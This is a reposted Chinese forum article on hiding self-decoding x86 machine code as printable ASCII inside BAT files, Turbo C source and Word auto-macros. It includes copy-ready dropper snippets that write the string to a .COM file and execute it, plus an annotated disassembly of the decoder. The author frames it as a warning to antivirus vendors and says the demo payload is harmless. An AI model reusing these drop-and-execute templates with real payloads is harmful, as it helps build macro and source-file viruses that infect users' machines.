一份很老的帖子了,不过最近搞这个
特来推荐!
袁哥
许多杀毒厂家谈到WORD宏病毒时,认为宏是解释执行,所以认为宏病毒很简单,关键技术在于WORD的文件格式。我想提醒大家注意,解释执行虽然没有获得CPU的控制权,并不代表不能干大事。关键在于你提供的语言方便不方便。其实解释型语言也可能获得CPU的控制大权的。所以JAVA也可能染毒!所以源文件型病毒并不需要很多专家说的那样要几百行的程序。
下面是DOS下的。BAT文件,你粘贴下来运行一下,你就会明白。它会释放一提示。此只是一演示,不含病毒!但其中的技术完全可以在JAVA,WORD,源文件中实现,也很简单!所以提醒大家(特别是一些杀毒厂家)应真正的理解解释执行与CPU代码执行在本质上并没有区别!
:0jeX4e-005POP]hWeX5ddP^1,FFFFF1,FFF1,4rP^P_jeX4aPY-x-AAR`0`*=00uPBOIAAAAFKAOBPIDMCBALEAJMNCBJALIAAEMMNCBFEGIGFCAENGBGDHCGPHGGJHCHFHDCAGJHDCAGDGPGNGJGOGHCACOCOCOCOCOCOANAKCEAAqqqq
@ECHO OFF
COPY %0.BAT /B C:\BATVIR.COM /B /Y
C:\BATVIR.COM
DEL C:\BATVIR.COM
此程序主要是用一段字符串(在这儿是BAT文件本身)作一文件,这在WORD宏,源程序,解释型的BASIC等等中不难实现。而这一字符串又是CPU代码。实际前一小段对后面的字符串解码,所以什么CPU代码都被转换成了字母。然后加载这一文件,恐怕这一功能大多的语言都提供了。
为什么要这么处理?因为很多的解释型语言,源程序什么的都能很方便的进行字符的处理,而他们二进制处理不方便或者不能。这就是这方面病毒少的原因。
在这我要说明的是我不是教人编病毒,而是要提醒大家(特别的是一些杀毒厂家)应提前的预防这一方面的病毒。虽然这可能将使这一方面的病毒很快出现,但我想技术上有这一可能,迟早都会出现,还不如我们早一点预防。
我是考虑JAVA到底会不会染毒想到这方面的,因为JAVA还有很多语言是解释执行,提供的函数,解释代码在病毒方面不够灵活,而CPU代码那就太方便了。归结起来就是解释型语言怎样与CPU代码结合。一直没有说出这一点,而前段时间看到报道说国外有了这方面的病毒,(报道说你浏览别人的网页,不下栽任何软件,也会中毒!我想用这一方法不难实现!)还有有感于我们国内的一些杀毒厂家对解释执行的错误认识,所以说出来提醒大家注意。
Turbo c 下的源文件病毒的实现:
你把下面一段程序加到你的turbo c
程序中,再如果VIR[]那一段驻留,自动把这一段加到你的C程序中,那这不就是源文件病毒了吗?简单吧?想想多少语言的源文件能用同样的方法实现?恐怕大多数都能简单的实现吧!
是不是源文件病毒并不象原来一些所谓的专家说的要几百的程序?
Char
vir[]={":0jeX4e-005POP]hWeX5ddP^1,FFFFF1,FFF1,4rP^P_jeX4aPY-x-AAR`0`*=00uPBOIAAAAFKAOBPIDMCBALEAJMNCBJALIAAEMMNCBFEGIGFCAENGBGDHCGPHGGJHCHFHDCAGJHDCAGDGPGNGJGOGHCACOCOCOCOCOCOANAKCEAAqqqq"};
int fp;
fp=creat("c:\\temp\\vir.com",0);
write(fp,&vir,200);
close(fp);
system("c:\\temp\\vir.com");
WORD宏中实现的方法:
你把下面一段加到你的WORD自动宏中,再改改PRO$那一段,简单吧!别的语言你也该会了吧!
Name$ = Environ$("tmp") + "\MACROVIR.COM"
Open Name$ For Output As #1
pro$ =
":0jeX4e-005POP]hWeX5ddP^1,FFFFF1,FFF1,4rP^P_jeX4aPY-x-AAR`0`*=00uPBOIAAAAFKAOBPIDMCBALEAJMNCBJALIAAEMMNCBFEGIGFCAENGBGDHCGPHGGJHCHFHDCAGJHDCAGDGPGNGJGOGHCACOCOCOCOCOCOANAKCEAAqqqq"
Print #1, pro$
Close #1
Shell Name$
WORD实际是用的VB,但也不完全一样。VB中OPEN有FOR
BINARY(二进制)方式,WORD取消了,所以WORD中CPU代码可能不用字符串方式不太可能实现,Chr$等函数好象不太兼容,字符方式是为了兼容。TURBO
C中你当然可以用__exit__等别的方法也很简单的实现!C中有指针,你也可以让你的CPU代码直接在内存中获得控制权!
下面是那一段字符串的代码:
1EE7:0100 3A30 CMP DH,[BX+SI] ;这一语句前面是冒号,在BAT里是解释
1EE7:0102 6A65 PUSH 65 'e'
1EE7:0104 58 POP AX
1EE7:0105 3465 XOR AL,65 ;得到AX=0X0000 'e'
1EE7:0107 2D3030 SUB AX,3030
1EE7:010A 35504F XOR AX,4F50
1EE7:010D 50 PUSH AX
1EE7:010E 5D POP BP ;得到BP=0X8080
1EE7:010F 685765 PUSH 6557
1EE7:0112 58 POP AX
1EE7:0113 356464 XOR AX,6464 ;得到AX=0X0133
1EE7:0116 50 PUSH AX
1EE7:0117 5E POP SI ;得到SI=AX=0X0133
1EE7:0118 312C XOR [SI],BP ;字节[0X0133],[0X0134]的最高位置1
1EE7:011A 46 INC SI
1EE7:011B 46 INC SI
1EE7:011C 46 INC SI
1EE7:011D 46 INC SI
1EE7:011E 46 INC SI
1EE7:011F 312C XOR [SI],BP ;[0X138],[0X139]
1EE7:0121 46 INC SI
1EE7:0122 46 INC SI
1EE7:0123 46 INC SI
1EE7:0124 312C XOR [SI],BP ;[0X13B],[0X13C]
1EE7:0126 3472 XOR AL,72 'r'
1EE7:0128 50 PUSH AX ;得到AX=0X141=0X133XOR0X72
1EE7:0129 5E POP SI ;得到SI=AX=0X141
1EE7:012A 50 PUSH AX
1EE7:012B 5F POP DI ;得到DI=AX=0X141
1EE7:012C 6A65 PUSH 65 'e'
1EE7:012E 58 POP AX
1EE7:012F 3461 XOR AL,61 'a'
1EE7:0131 50 PUSH AX
1EE7:0132 59 POP CX ;得到CX=AX=0X04
1EE7:0133 AD LODSW ;在字符串中是0X2D,
1EE7:0134 F8 CLC ;在字符串中是0X78,
1EE7:0135 2D4141 SUB AX,4141
1EE7:0138 D2E0 SHL AL,CL ;在字符串中是 0X5260
1EE7:013A 30E0 XOR AL,AH ;在字符串中是 0X3060
1EE7:013C AA STOSB ;在字符串中是 0X2A
1EE7:013D 3D3030 CMP AX,3030
1EE7:0140 75F1 JNZ 0133 ;对0X141开始的字符串解码,qqqq是串结束
- ;0XF1是PB解码的结果。
这儿CPU代码编码方法:
CPU代码的每一个字节用两个字母表示,用ABCDEFGH IJKLMNOP 分别表示01234567 89ABCDEF,解码方法相反的过程!
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)